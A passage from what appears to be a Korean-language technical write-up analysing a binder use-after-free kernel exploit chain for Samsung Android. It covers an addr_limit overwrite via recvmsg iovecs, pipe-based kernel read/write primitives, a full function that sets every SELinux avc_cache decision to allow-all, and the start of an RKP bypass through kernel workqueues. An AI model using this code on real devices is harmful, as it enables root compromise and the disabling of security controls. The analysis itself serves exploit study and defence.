  • readv를 사용할 경우, iovecStack[10].len의 크기가 매우 커졌기 때문에, readv에서 iovecStack[10]만 출력하고 그 다음에 우리가 실제로 값을 넣어야 할 iovecStack[11].base에는 접근하지 못한다. 따라서 이 exploit에서는 readv대신 recvmsg를 사용한다.
  • +
+ +


+ +

recvmsg를 사용하면 iovecStack에 있는 iovecStack.iov_base에 socket으로 들어오는 값을 넣을 수 있게 된다. 이러한 특성과 unlink과정을 이용하여 task_struct의 addr_limit 값을 변경할 수 있다.

+ +


+

+ +

그 과정을 정리해보면 다음과 같다.

+ +
    +
  1. binder_thread를 할당 받은 다음 epoll에 연결한다.
  2. +
  3. sockpair를 통해 socket을 설정한다.
  4. +
  5. +

    iovec 구조체를 아래와 같이 세팅하고 msg 구조체에 넣어서 recvmsg로 보낼 준비를 한다.

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    offsetbinder_threadiovecStack
    0xA0wait.lockiovecStack[10].iov_base = m_4gb_aligned_page
    0xA8wait.head.nextiovecStack[10].iov_len = 1
    0xB0wait.head.previovecStack[11].iov_base = 0x41414141
    0xB8iovecStack[11].iov_len = 0x8 *4
    0xC0iovecStack[12].iov_base = 0x42424242
    0xC8iovecStack[12].len = 8
    +
  6. +
  7. 소켓이 미리 1byte junk data를 write한다.
  8. +
  9. fork를 이용하여 자식 프로세스를 생성한다. +
      +
    • 자식 프로세스는 잠깐 sleep상태로 있는다.
    • +
    +
  10. +
  11. 부모 프로세스에서 binder_thread를 free하고, recvmsg를 사용하여 binder_thread 크기의 iovecStack을 할당 받는다. 이때 MSG_WAITALL 옵션을 줘서, iovecStack[10].iov_base에 1byte를 작성한 다음 wait상태로 대기하게 한다.
  12. +
  13. 자식 프로세스는 sleep상태에서 깨어난 다음 아래 동작을 수행한다. +
      +
    1. epoll list를 unlink한다. 이로 인해 iovecStack[10].len과 iovecStack[11].base가 바뀌게 된다. +
        +
      • iovecStack[10]은 이미 이전에 recvmsg로 값을 받았다.
      • +
      • iovecStack[11].iov_base은 unlink과정에 의해 iovecStack[10].iov_len을 가리키는 주소로 변한다.
      • +
      +
    2. +
    3. recvmsg에서 iovStack[11].iov_base에 따라 다음에 들어가는 값은 iovecStack[10].iov_len을 가리키는 주소에 들어가고, 이로 인해 iovecStack[12].iov_base를 원하는 값으로 바꿀 수 있다.
    4. +
    5. +

      아래와 같은 값을 write함으로써, iovecStack[12].iov_base값을 task_struct의 addr_limit주소로 바꾼다.

      + +
       static uint64_t finalSocketData[] = {
      +         0x1,                    // iovecStack[IOVEC_WQ_INDEX].iov_len
      +         0x41414141,             // iovecStack[IOVEC_WQ_INDEX + 1].iov_base
      +         0x8 + 0x8 + 0x8 + 0x8,  // iovecStack[IOVEC_WQ_INDEX + 1].iov_len
      +         (uint64_t) ((uint8_t *) m_task_struct +
      +                     OFFSET_TASK_STRUCT_ADDR_LIMIT), // iovecStack[IOVEC_WQ_INDEX + 2].iov_base
      +         0xFFFFFFFFFFFFFFFE      // addr_limit value
      + };
      +        
      +
      +
    6. +
    7. iovecStack[12].iov_len이 0x20이기 때문에, 정확히 iovecStack[12].iov_base를 task_struct의 addr_limit주소로 덮는다.
    8. +
    9. 그 다음 값인 0xFFFFFFFFFFFFFFFE은 그 다음에 저장될 장소인 iovecStack[12].iov_base가 가리키는 task_struct.addr_limit에 저장된다.
    10. +
    +
  14. +
  15. 결론적으로 task_struct의 addr_limit의 값이 0xFFFFFFFFFFFFFFFE로 바뀌게 되었기 때문에, arbitrary read/write이 가능하다.
  16. +
+ +


+

+ +

5.3.2 Make Arbitrary R/W primitives

+ +
    +
  1. +

    arbitrary R/W를 위한 pipe를 만든다.

    + +
     pipe(kernel_pipe)
    +
    +
  2. +
  3. +

    앞서 만든 pipe를 통해서 data를 pipe에 read하고 write하는 과정을 통해 원하는 주소에 있는 값을 버퍼로 옮기거나 버퍼에서 주소로 작성할 수 있다.

    +
      +
    • +

      read : 주소 값을 pipe에 작성한 다음, 버퍼로 pipe읽어오기

      + +
        void Read(void *addr, size_t len, void *buf) {
      +      write(kernel_pipe[1], addr, len);
      +      read(kernel_pipe[0], buf, len);
      +  }
      +
      +
    • +
    • +

      write : 버퍼 값을 pipe에 write한 다음, 주소에서 read하기

      + +
        void Write(void *addr, size_t len, void *buf) {
      +  	write(kernel_pipe[1], buf, len);
      +  	read(kernel_pipe[0], addr, len);
      +  }
      +
      +
    • +
    +
  4. +
+ +


+

+ +

5.4 Bypass SELinux

+ +

이 챕터에서는 SELinux의 동작 과정을 살펴본다. 그중에서 특히 avc_cache에 관련된 부분을 소스코드와 함께 살펴보면서, 이를 이용하여 SELinux를 우회할 수 있는 방법에 대해 알아본다.

+ +
    +
  • 이 챕터에서 분석한 SELinux 코드는 linux kernel 4.4.177 version이다.
  • +
+ +


+ +

5.2.1 How SELinux works

+ +

SELinux는 아래와 같은 순서로 동작한다.

+ +

그림 8. SELinux 동작 과정 출처 : [https://github.com/SELinuxProject/selinux-notebook/raw/main/src/images/1-core.png](https://github.com/SELinuxProject/selinux-notebook/raw/main/src/images/1-core.png)

+ +
    +
  1. Subject가 동작을 수행해도 되는지 Object Manager에게 Request를 보낸다. 이때 subject는 일반적으로 resource에 접근하는 프로세스를 말한다.
  2. +
  3. Object Manager는 Subject의 동작 수행 여부를 결정하기 위해 Security Server에 쿼리를 보낸다.
  4. +
  5. Security Server는 Security Policy를 기반으로 결정하여 answer을 돌려준다.
  6. +
  7. 답변된 answer의 경우 AVC cache에 저장되며 이후 같은 request를 Object Manager에서 물어볼 경우 Access Vector Cache에 저장된 내용을 기반으로 행동을 결정한다.
  8. +
+ +


+ +

5.4.2 avc_cache linked with avc_node

+ +

AVC는 일반적으로 커널 혹은 user land에서 decision을 cache로 저장하기 위해 아래와 같은 hashmap으로 구현된다.

+ +
// /security/selinux/avc.c
+struct avc_cache {
+	struct hlist_head	slots[AVC_CACHE_SLOTS]; /* head for avc_node->list */
+	spinlock_t		slots_lock[AVC_CACHE_SLOTS]; /* lock for writes */
+	atomic_t		lru_hint;	/* LRU hint for reclaim scan */
+	atomic_t		active_nodes;
+	u32			latest_notif;	/* latest revocation notification */
+};
+
+struct avc_node {
+	struct avc_entry	ae;
+	struct hlist_node	list; /* anchored in avc_cache->slots[i] */
+	struct rcu_head		rhead;
+};
+
+struct avc_entry {
+	u32			ssid;
+	u32			tsid;
+	u16			tclass;
+	struct av_decision	avd;
+	struct avc_xperms_node	*xp_node;
+};
+
+// /security/selinux/include/security.h
+struct av_decision {
+	u32 allowed;
+	u32 auditallow;
+	u32 auditdeny;
+	u32 seqno;
+	u32 flags;
+};
+
+ +

위 구조체들의 연결 관계를 살펴보면 다음과 같다.

+ +

그림 9. avc_cache와 avc_node 사이의 연결 관계

+ +

위 구조체에서 주의 깊게 봐야 하는 부분은 avc_cache에서 avc_node로 향하는 list pointer를 나눌 때, hash값을 기준으로 나눈다는 점이다. 같은 hash를 가진 avc_node의 경우 avc_node.hlist_node에 의하여 linked list로 연결되어있다. +그리고 실제 동작을 허용 여부를 결정하는 av_decision은 avc_entry에 내장되어고, 다시 avc_entry는 avc_node에 속해있다.

+ +


+ +

5.4.3 Dive into source code

+ +

SELinux에서 subject가 avc에 쿼리를 보내서 접근 제어를 결정하기 위해 확인하는 함수는 avc_has_perm함수이다.

+ +
// /security/selinux/avc.c
+
+/**
+ * avc_has_perm - Check permissions and perform any appropriate auditing.
+ * @ssid: source security identifier
+ * @tsid: target security identifier
+ * @tclass: target security class
+ * @requested: requested permissions, interpreted based on @tclass
+ * @auditdata: auxiliary audit data
+ *
+ * Check the AVC to determine whether the @requested permissions are granted
+ * for the SID pair (@ssid, @tsid), interpreting the permissions
+ * based on @tclass, and call the security server on a cache miss to obtain
+ * a new decision and add it to the cache.  Audit the granting or denial of
+ * permissions in accordance with the policy.  Return %0 if all @requested
+ * permissions are granted, -%EACCES if any permissions are denied, or
+ * another -errno upon other errors.
+ */
+
+int avc_has_perm(u32 ssid, u32 tsid, u16 tclass,
+		 u32 requested, struct common_audit_data *auditdata)
+{
+	struct av_decision avd;
+	int rc, rc2;
+
+	rc = avc_has_perm_noaudit(ssid, tsid, tclass, requested, 0, &avd);
+
+	rc2 = avc_audit(ssid, tsid, tclass, requested, &avd, rc, auditdata, 0);
+	if (rc2)
+		return rc2;
+	return rc;
+}
+
+
+ +
    +
  • +

    avc_has_perm의 주석을 살펴보면 아래와 같다.

    + +

    ”AVC를 확인하여 요청된 권한이 SID pair(@ssid, @tsid)에 대해 허용되는지 확인하고 tclass 기반으로 권한을 해석한 후, cache가 없는 경우 security server를 호출하여 새 decision을 받아 cache에 추가한다. 정책에 따라서 권한을 허용하거나 거부한다 [….]”

    + +
      +
    • ssid: source security identifier (접근 주체)
    • +
    • tsid: target security identifier (접근 대상)
    • +
    • tclass: target security class (대상 리소스의 유형)
    • +
    • requested: requested permissions, interpreted based on @tclass (요청한 권한)
    • +
    • auditdata: auxiliary audit data
    • +
    +
  • +
+ +


+ +

먼저 avc_has_perm_noaudit을 살펴보면 다음과 같다.

+ +
// /security/selinux/avc.c
+inline int avc_has_perm_noaudit(u32 ssid, u32 tsid,
+			 u16 tclass, u32 requested,
+			 unsigned flags,
+			 struct av_decision *avd)
+{
+	struct avc_node *node;
+	struct avc_xperms_node xp_node;
+	// [...]
+	node = avc_lookup(ssid, tsid, tclass);
+	if (unlikely(!node))
+		node = avc_compute_av(ssid, tsid, tclass, avd, &xp_node);
+	else
+		memcpy(avd, &node->ae.avd, sizeof(*avd));
+
+	denied = requested & ~(avd->allowed);
+	if (unlikely(denied))
+		rc = avc_denied(ssid, tsid, tclass, requested, 0, 0, flags, avd);
+
+	rcu_read_unlock();
+	return rc;
+}
+
+
+ +
    +
  • +

    avc_lookup(ssid, tsid, tclass)를 통해 node를 찾는 것처럼 보이는 데 실제로 코드를 확인해 보면 아래와 같다.

    + +
      // /security/selinux/avc.c
    +  static struct avc_node *avc_lookup(u32 ssid, u32 tsid, u16 tclass)
    +  {
    +  	struct avc_node *node;
    +    
    +  	avc_cache_stats_incr(lookups);
    +  	node = avc_search_node(ssid, tsid, tclass);
    +    
    +  	if (node)
    +  		return node;
    +    
    +  	avc_cache_stats_incr(misses);
    +  	return NULL;
    +  }
    +    
    +
    + +
      +
    • avc_search_node에 ssid, tsid, tclass를 인자로 줘서 node를 찾는다.
    • +
    + +
      // /security/selinux/avc.c
    +  static inline struct avc_node *avc_search_node(u32 ssid, u32 tsid, u16 tclass)
    +  {
    +  	struct avc_node *node, *ret = NULL;
    +  	int hvalue;
    +  	struct hlist_head *head;
    +    
    +  	hvalue = avc_hash(ssid, tsid, tclass);
    +  	head = &avc_cache.slots[hvalue];
    +  	hlist_for_each_entry_rcu(node, head, list) {
    +  		if (ssid == node->ae.ssid &&
    +  		    tclass == node->ae.tclass &&
    +  		    tsid == node->ae.tsid) {
    +  			ret = node;
    +  			break;
    +  		}
    +  	}
    +    
    +  	return ret;
    +  }
    +
    + +
      +
    • line 8 : ssid, tsid, tclass를 기준으로 hash값을 계산한다.
    • +
    • line 9 : 해당 hash에 해당하는 avc_cache.slotshlist_head를 구한다. +
        +
      • hlist_head에는 같은 hash를 가진 avc_node들이 list로 연결되어 있다. (그림 9 참조)
      • +
      +
    • +
    • line 10~17 : hlist_head에 연결된 head중에 ssid, tclass, tsid가 일치하는 node를 찾는다.
    • +
    +
  • +
+ +


+ +

다시 avc_has_perm_noaudit으로 돌아와서 위 과정을 통해 알맞은 node를 찾았을 경우 찾은 node의 avd(av_decision)을 avd로 복사한다. 하지만 node를 찾지 못한 경우, avc_compute_av함수를 진행한다.

+ +
// /security/selinux/avc.c
+// avc_has_perm_noaudit() line 11
+    if (unlikely(!node))
+		node = avc_compute_av(ssid, tsid, tclass, avd, &xp_node);
+	else
+		memcpy(avd, &node->ae.avd, sizeof(*avd));
+
+ +


+ +

avc_compute_av함수는 아래와 같다.

+ +
// /security/selinux/avc.c
+static noinline struct avc_node *avc_compute_av(u32 ssid, u32 tsid,
+			 u16 tclass, struct av_decision *avd,
+			 struct avc_xperms_node *xp_node)
+{
+	rcu_read_unlock();
+	INIT_LIST_HEAD(&xp_node->xpd_head);
+	security_compute_av(ssid, tsid, tclass, avd, &xp_node->xp);
+	rcu_read_lock();
+	return avc_insert(ssid, tsid, tclass, avd, xp_node);
+}
+
+ +

함수 깊숙이 들어가면 너무 복잡해져서 간단히 설명하면 아래와 같다.

+ +
    +
  • line 8 : security_compute_av : ssid, tsid, tclass를 기준으로 SELinux에서 사용할 새로운 context를 만든다. 그리고 avd를 초기화하여 세팅한다.
  • +
  • line 10 : 새로운 node를 만들고 세팅한 다음, hash를 계산해서 avc_cache.slots에 일치하는 hash 위치의 list에 연결한다.
  • +
+ +

그림 10. insert new node

+ +


+ +

다시 avc_has_perm_noaudit으로 돌아와서, 앞선 과정에 의해 avd(av_decision)이 결정된 상태로 아래 코드가 수행된다.

+ +
// avc_has_perm_noaudit() line 16
+	denied = requested & ~(avd->allowed);
+	if (unlikely(denied))
+		rc = avc_denied(ssid, tsid, tclass, requested, 0, 0, flags, avd);
+
+	rcu_read_unlock();
+	return rc;
+}
+
+ +

요청된 request가 avd->allowed에 포함되는지 확인하고, 그렇지 않을 경우 avc_denied함수를 호출하고, 허용될 경우 rc를 반환한다.

+ +

avc_denied함수는 아래와 같다.

+ +
// /security/selinux/avc.c
+static noinline int avc_denied(u32 ssid, u32 tsid,
+				u16 tclass, u32 requested,
+				u8 driver, u8 xperm, unsigned flags,
+				struct av_decision *avd)
+{
+	if (flags & AVC_STRICT)
+		return -EACCES;
+
+	if (selinux_enforcing && !(avd->flags & AVD_FLAGS_PERMISSIVE))
+		return -EACCES;
+
+	avc_update_node(AVC_CALLBACK_GRANT, requested, driver, xperm, ssid,
+				tsid, tclass, avd->seqno, NULL, flags);
+	return 0;
+}
+
+
+ +
    +
  • avc_denied함수에서는 flag와 linux kernel 설정에 따라 -EACCESS 에러를 호출하거나 avc_update_node함수를 통해 avc_node의 설정값을 바꾼다.
  • +
+ +


+ +

avc_has_perm_nodaudit함수가 이렇게 return되고, avc_has_perm 함수로 돌아와서 avc_audit함수가 실행된다.

+ +
// avc_has_perm() line 26
+	rc = avc_has_perm_noaudit(ssid, tsid, tclass, requested, 0, &avd);
+
+	rc2 = avc_audit(ssid, tsid, tclass, requested, &avd, rc, auditdata, 0);
+	if (rc2)
+		return rc2;
+	return rc;
+}
+
+
+ +


+ +

이제 avc_audit함수를 살펴본다.

+ +
// /security/selinux/include/avc.h
+static inline int avc_audit(u32 ssid, u32 tsid,
+			    u16 tclass, u32 requested,
+			    struct av_decision *avd,
+			    int result,
+			    struct common_audit_data *a,
+			    int flags)
+{
+	u32 audited, denied;
+	audited = avc_audit_required(requested, avd, result, 0, &denied);
+	if (likely(!audited))
+		return 0;
+	return slow_avc_audit(ssid, tsid, tclass,
+			      requested, audited, denied, result,
+			      a, flags);
+}
+
+ +


+ +

avc_audit 함수에서 먼저 avc_audit_required함수를 호출한다.

+ +
// /security/selinux/inclue/avc.h
+static inline u32 avc_audit_required(u32 requested,
+			      struct av_decision *avd,
+			      int result,
+			      u32 auditdeny,
+			      u32 *deniedp)
+{
+	u32 denied, audited;
+	denied = requested & ~avd->allowed;
+	if (unlikely(denied)) {
+		audited = denied & avd->auditdeny;
+		//[...]
+		if (auditdeny && !(auditdeny & avd->auditdeny))
+			audited = 0;
+	} else if (result)
+		audited = denied = requested;
+	else
+		audited = requested & avd->auditallow;
+	*deniedp = denied;
+	return audited;
+}
+
+ +
    +
  • line 8 → line 27 : 요청된 권한과 실제 avd가 가지고 있는 권한이 같은 경우, 즉 요청이 허용된 경우에는 audit을 진행하지 않는다고 표기한다. (return 0)
  • +
  • line 8 → line 9 : 요청된 권한과 실제 avd가 가지고 있는 권한이 다른 경우, 즉 요청이 허용되지 않는 경우에는 avd->auditdeny 값에 따라서 audited 변수의 값을 정한다.
  • +
  • line 29 : 혹은 앞서 avc_denied 에 의해 error가 발생한 상황이라면, audited는 requested & avd->auditallow 값으로 설정된다.
  • +
+ +


+ +

다시 avc_audit으로 돌아와서 avc_audit_required 함수에서 0이 return 된 경우 ,즉 audit이 필요하지 않다고 판단한 경우에는 0을 return한다. 하지만 audit이 필요한 경우, slow_avc_audit함수를 호출한다.

+ +
// avc_audit line 11
+	if (likely(!audited))
+		return 0;
+	return slow_avc_audit(ssid, tsid, tclass,
+			      requested, audited, denied, result,
+			      a, flags);
+}
+
+ +

audit 과정을 자세히 들여다 보진 않을 것이지만, request와 avd의 descision, 그리고 앞서 결정된 것들에 의해 여러가지 동작을 수행하게 된다.

+ +


+

+ +

지금까지 살펴본 내용을 정리하자면 다음과 같다.

+ +
    +
  1. ssid, tsid, tclass를 기준으로 hash값을 만든다.
  2. +
  3. 만들어진 hash값에 해당하는 avc_cache.slots의 hlist를 가져온다. +
      +
    • 하나의 slots는 같은 hash를 가진 avc_node들이 hlist(double linked list)로 연결되어 있다.
    • +
    +
  4. +
  5. 앞서 구한 slots의 avc_node를 linked list를 순회하며 처음 주어진 ssid, tsid, tclass가 일치하는 avc_node를 구한다.
  6. +
  7. avc_node를 구했다면, 구한 node의 av_decision을 가져온다.
  8. +
  9. avc_node를 구하지 못했다면, 새로운 SELinux context를 만들고 decision을 세팅한다. +
      +
    • 세팅한 내용과 decision을 바탕으로 node를 할당 받은 다음 hash를 구해, 만들어진 hash에 해당하는 avc_cache.slots list에 연결한다.
    • +
    +
  10. +
  11. 앞서 구한 node에서 가지고 있는 av_decision과 request를 비교한다.
  12. +
  13. 만약 허용되지 않은 request라면 linux kernel 설정에 따라 추가적인 audit을 진행한다.
  14. +
+ +


+ +

여기서 중요한 것은 SELinux에서 권한을 비교할 때, avc_cache.slots에 hash로 접근해서 avc_node에 있는 decision을 기준으로 비교한다는 것이다. 즉, avc_node에 있는 decision을 원하는 값으로 바꿀 수 있다면 SELinux의 검사를 우회할 수 있다.

+ +

자세한 방법에 대해서는 아래에서 다룬다.

+ +


+

+ +

5.4.3 Bypass SELinux

+ +

앞서 SELinux를 Bypass하기 위해서는 avc_cache.slots안에 있는 avc_node의 decision을 바꾸면 된다는 사실을 알았다. 이 챕터에서는 이를 이용하여 실제로 SELinux를 우회하는 방법에 대해서 설명한다.

+ +

먼저 avc_cache를 overwrite하는 함수는 아래와 같다.

+
    +
  • pAvcCache는 avc_cache 구조체의 주소로, 미리 leak했다고 가정한다.
  • +
+ +
static int32_t overwrite_avc_cache(uint64_t pAvcCache)
+{
+    int32_t iRet = -1;
+    uint64_t pAvcCacheSlot = 0;
+    uint64_t pAvcDescision = 0;
+
+    for(int32_t i = 0; i < AVC_CACHE_SLOTS; i++)
+    {
+        pAvcCacheSlot = kernel_read_ulong(pAvcCache + i*sizeof(uint64_t));
+
+        while(0 != pAvcCacheSlot)
+        {
+            pAvcDescision = pAvcCacheSlot - DECISION_AVC_CACHE_OFFSET;
+
+            if(sizeof(uint32_t) != kernel_write_uint(pAvcDescision, AVC_DECISION_ALLOWALL))
+            {
+                printf("[-] failed to overwrite avc_cache decision!\n");
+                goto done;
+            }
+
+            pAvcCacheSlot = kernel_read_ulong(pAvcCacheSlot);
+        }
+    }
+
+    iRet = 0;
+
+done:
+
+    return iRet;
+}
+
+ +
    +
  • line 9 : avc_cache.slots에 있는 hlist를 읽어온다. 그렇게 되면 pAvcCacheSlot은 같은 같은 hash를 가진 avc_node의 list 주소가 된다.
  • +
  • line 11 ~ 22 (while): avc_cache.slots는 hlist로 연결되어 있기 때문에 다음 연결된 node로 전환하면서 더 이상 node가 없을 때 까지 while을 반복한다. +
      +
    • 그림 9 참고
    • +
    +
  • +
  • line 13 : avc_node에 descision 위치의 값에 AVC_DECISION_ALLOWALL를 write한다. +
      +
    • +

      avc_node.avd은 avc_node.list보다 위에 존재하기 때문에 그 offset만큼 빼서 구한다.

      + +

      그림 11. node.avd = pAvcCacheSlot - DECISION_AVC_CACHE_OFFSET

      +
    • +
    +
  • +
  • line 21 : 연결된 다음 avc_node로 넘어간다.
  • +
+ +


+ +

위 과정을 거치면 결국 avc_cache.slots에 있는 모든 avc_node의 decision이 AVC_DECISION_ALLOWALL 값으로 overwrite 된다.

+ +


+

+ +

이를 적용하여 실제로 SELinux를 bypass하는 과정을 처음부터 보면 아래와 같이 이루어진다.

+ +
    +
  1. +

    avc_cache 주소를 구한다

    + +
     pAvcCache = get_kernel_sym_addr("avc_cache");
    +
    +
  2. +
  3. +

    /sys/fs/selinux/policy 파일을 읽는다. (selinux policy 위치에 따라 파일 위치는 변할 수 있다.)

    + +
     iPolFd = open("/sys/fs/selinux/policy", O_RDONLY);
    +
    +
  4. +
  5. +

    fstat을 이용하여 파일 정보를 얻는다.

    + +
     fstat(iPolFd, &statbuff)
    +
    +
  6. +
  7. +

    avc_cache의 descision 주소를 구해서 overwrite한다.

    + +
     overwrite_avc_cache(pAvcCache)
    +
    +
  8. +
  9. +

    mmap을 통해 selinux 파일 매핑 후, policyFile 구조체 세팅한다

    + +
     pPolicyMap = mmap(NULL, statbuff.st_size, PROT_READ | PROT_WRITE, MAP_PRIVATE, iPolFd, 0);
    +    
    + pPolicyFile->type = PF_USE_MEMORY;
    + pPolicyFile->data = pPolicyMap;
    + pPolicyFile->len = statbuff.st_size;
    +
    +
  10. +
  11. +

    SE policy를 read한다

    + +
     policydb_init(pPolicyDb)
    + policydb_read(pPolicyDb, pPolicyFile, SEPOL_NOT_VERBOSE)
    +
    +
  12. +
  13. +

    앞서 overwrite한 avc_cache를 selinux policy에 삽입하고 커널에 적용한다

    + +
     add_rules_to_sepolicy(pAvcCache, &policydb)
    + //...
    + inject_sepolicy(pAvcCache, &policydb)
    +
    +
  14. +
+ +

자세한 코드는 아래 링크의 전체 exploit부분을 참고하면 알 수 있다.

+ +

https://github.com/chompie1337/s8_2019_2215_poc/tree/master/poc

+ +


+

+ +

5.5 Bypass RKP

+ +

samsung에서 제공하는 RKP는 android kernel 공격을 막을 수 있는 다양한 보호 기법을 제공한다. 기존에 kernel exploit에 사용되었던 방법인 task_struct의 cred를 overwrite하는 방법은 RKP가 task_struct에 write하는 것을 막음으로서 사용할 수 없게 되었다.

+ +

하지만 해커들은 RKP를 우회하여 root권한으로 코드를 실행하는 방법을 발견해 내었다.

+ +

이 챕터에서는 아래 링크에서 소개한 exploit 방법을 기반으로 분석을 진행한다.

+ + + +


+ +

5.5.1 Using call_usermodehelper_exec_work

+ +

이 exploit에서는 system권한으로 수행되는 workqueue에 call_usermodehelper_exec_work함수를 추가하여 kworker가 해당 함수를 root 권한으로 실행시키는 방법으로 RKP를 우회한다.

+ +
// workqueue by system permissions
+ffffffc012c8f7e0 D system_wq
+ffffffc012c8f7e8 D system_highpri_wq
+ffffffc012c8f7f0 D system_long_wq
+ffffffc012c8f7f8 D system_unbound_wq
+ffffffc012c8f800 D system_freezable_wq
+ffffffc012c8f808 D system_power_efficient_wq
+ffffffc012c8f810 D system_freezable_power_efficient_wq
+
+ +


+ +

위에서 사용되는 call_usermodehelper_exec_work 함수를 살펴본다.

+ +
// /kernel/kmod.c
+static void call_usermodehelper_exec_work(struct work_struct *work)
+{
+	struct subprocess_info *sub_info =
+		container_of(work, struct subprocess_info, work);
+
+	if (sub_info->wait & UMH_WAIT_PROC) {
+		call_usermodehelper_exec_sync(sub_info);
+	} else {
+		pid_t pid;
+		/*
+		 * Use CLONE_PARENT to reparent it to kthreadd; we do not
+		 * want to pollute current->children, and we need a parent
+		 * that always ignores SIGCHLD to ensure auto-reaping.
+		 */
+		pid = kernel_thread(call_usermodehelper_exec_async, sub_info,
+				    CLONE_PARENT | SIGCHLD);
+		if (pid < 0) {
+			sub_info->retval = pid;
+			umh_complete(sub_info);
+		}
+	}
+}
+
+ +
    +
  • call_usermodehelper_exec_work 함수는 shell command를 받아서 실행한다.
  • +
  • +

    call_usermodehelper_exec_synccall_usermodehelper_exec_async 함수 순으로 실행이 되고 결국 do_execve 함수를 통해 shell command를 실행할 수 있다.

    + +
      // /kernel/kmod.c
    +  static int call_usermodehelper_exec_async(void *data)
    +  {
    +  	struct subprocess_info *sub_info = data;
    +  	struct cred *new;
    +  	int retval;
    +    
    +  	set_user_nice(current, 0);
    +    
    +  	retval = -ENOMEM;
    +  	new = prepare_kernel_cred(current);
    +  	//[...]
    +    
    +  	commit_creds(new);
    +    
    +  	retval = do_execve(getname_kernel(sub_info->path),
    +  			   (const char __user *const __user *)sub_info->argv,
    +  			   (const char __user *const __user *)sub_info->envp);
    +    //[...]
    +  }
    +
    +
  • +
  • call_usermodehelper_exec_work 함수를 위에서 언급한 workqueue에 삽입하면 kworker가 이 함수와 연결된 work_struct를 실행할 때, 원하는 shell code를 실행시킬 수 있게 된다.
  • +
+ +


+ +

지금부터는 call_usermodehelper_exec_work 함수를 workqueue에 연결하여 호출하기 위해 kworkerworkqueue_struct, work_struct의 연결 관계에 대해서 살펴본다.

+ +


+ +

5.5.2 insert work into workqueue

+ +

call_usermodehelper_exec_work 함수를 kworker가 실행시키도록 하는 방법을 알기 위해, 먼저 work_structworkqueue_struct에 추가하는 작업을 분석한다.

+ +


+ +

workqueue_structwork_struct를 추가할 때는 queue_work함수를 이용하여 수행한다.

+ +
//example
+ret = queue_work(workqueue_struct, &work_struct);
+
+ +


+ +

queue_work함수의 내부 control flow를 따라 들어가면 아래와 같다.

+ +
// /include/linux/workqueue.h
+static inline bool queue_work(struct workqueue_struct *wq,
+			      struct work_struct *work)
+{
+	return queue_work_on(WORK_CPU_UNBOUND, wq, work);
+}
+
+// /kernel/workqueue.c
+bool queue_work_on(int cpu, struct workqueue_struct *wq,
+		   struct work_struct *work)
+{
+    //[...]
+	if (!test_and_set_bit(WORK_STRUCT_PENDING_BIT, work_data_bits(work))) {
+		__queue_work(cpu, wq, work);
+		ret = true;
+	}
+    //[...]
+}
+
+// /kernel/workqueue.c
+static void __queue_work(int cpu, struct workqueue_struct *wq,
+			 struct work_struct *work)
+{
+	struct pool_workqueue *pwq;
+	struct worker_pool *last_pool;
+	struct list_head *worklist;
+	unsigned int work_flags;
+	unsigned int req_cpu = cpu;
+
+    // [...]
+
+    if (!(wq->flags & WQ_UNBOUND))
+		pwq = per_cpu_ptr(wq->cpu_pwqs, cpu);
+	else
+		pwq = unbound_pwq_by_node(wq, cpu_to_node(cpu));
+
+	last_pool = get_work_pool(work);
+	if (last_pool && last_pool != pwq->pool) {
+		struct worker *worker;
+
+		spin_lock(&last_pool->lock);
+
+		worker = find_worker_executing_work(last_pool, work);
+
+		if (worker && worker->current_pwq->wq == wq) {
+			pwq = worker->current_pwq;
+		}
+		//[...]
+	}
+    //[...]
+	if (likely(pwq->nr_active < pwq->max_active)) {
+		trace_workqueue_activate_work(work);
+		pwq->nr_active++;
+		worklist = &pwq->pool->worklist;
+	} else {
+		work_flags |= WORK_STRUCT_DELAYED;
+		worklist = &pwq->delayed_works;
+	}
+
+	insert_work(pwq, work, worklist, work_flags);
+
+	spin_unlock(&pwq->pool->lock);
+}
+
+ +
    +
  • +

    line 33 ~ 35 : cpu 별로 연결되어 있는 pool_workqueue 구조체 포인터를 pwq에 가져온다

    + +

    그림 12. workqueue_struct 와 pool_workqueue 의 연결

    +
  • +
  • line 37 : work->data를 기준으로 pool_id를 계산해서 해당하는 worker_poolpool_workqueue에서 찾아서 가져온다. +
      +
    • +

      get_work_pool : 인자로 주어진 work가 가리키는 worker_pool을 가져온다

      + +
        // /kernel/workqueue.c
      +  static struct worker_pool *get_work_pool(struct work_struct *work)
      +  {
      +  	unsigned long data = atomic_long_read(&work->data);
      +  	int pool_id;
      +        
      +  	assert_rcu_or_pool_mutex();
      +        
      +  	if (data & WORK_STRUCT_PWQ)
      +  		return ((struct pool_workqueue *)
      +  			(data & WORK_STRUCT_WQ_DATA_MASK))->pool;
      +        
      +  	pool_id = data >> WORK_OFFQ_POOL_SHIFT;
      +  	if (pool_id == WORK_OFFQ_POOL_NONE)
      +  		return NULL;
      +        
      +  	return idr_find(&worker_pool_idr, pool_id);
      +  }
      +
      + +

      그림 13. work_struct가 pool_workqueue를 찾는 방법

      +
    • +
    +
  • +
  • line 38 : 찾은 worker_pool이 우리가 앞서 구한 pool_workqueue(pwq)에 연결된 게 아니라면, 즉 다른 pool_workerqueue 구조체에 연결되어 있다면, +
      +
    • +

      line 43 : find_worker_executing_work(last_pool, work)를 통해 last_poll에 연결된 worker중에 우리가 찾는 work를 담당하는 worker를 찾는다.

      + +
        // /kernel/workqueue.c
      +  static struct worker *find_worker_executing_work(struct worker_pool *pool,
      +  						 struct work_struct *work)
      +  {
      +  	struct worker *worker;
      +        
      +  	hash_for_each_possible(pool->busy_hash, worker, hentry,
      +  			       (unsigned long)work)
      +  		if (worker->current_work == work &&
      +  		    worker->current_func == work->func)
      +  			return worker;
      +        
      +  	return NULL;
      +  }
      +
      +
    • +
    • +

      line 46 : 앞서 찾은 worker->current_pwqpwq로 세팅한다.

      + +

      그림 14. worker에서 사용하는 올바른 pool_workqueue를 찾는 과정

      +
    • +
    +
  • +
  • line 50 : 맞으면 그냥 그대로 진행
  • +
  • line 51~58 : pwq->pool->worklist 혹은 pwq->delayed_worksworklist로 가져온다.
  • +
  • line 60 : insert_work()를 실행 +
      +
    • work->datapwq 로 설정
    • +
    • 앞서 구한 worklist에 work.entry 연결
    • +
    + +

    그림 15. work_struct를 worker_pool.worklist에 삽입

    +
  • +
+ +


+ +

workqueue에 work를 추가하는 과정을 정리하면 아래와 같다.

+ +
    +
  1. workqueue와 연결된 cpu의 첫 pool_workqueue(pwq) 구조체를 가져온다
  2. +
  3. 추가하고 싶은 workpool_id를 가진 worker_poolpool_workqueue에서 찾는다.
  4. +
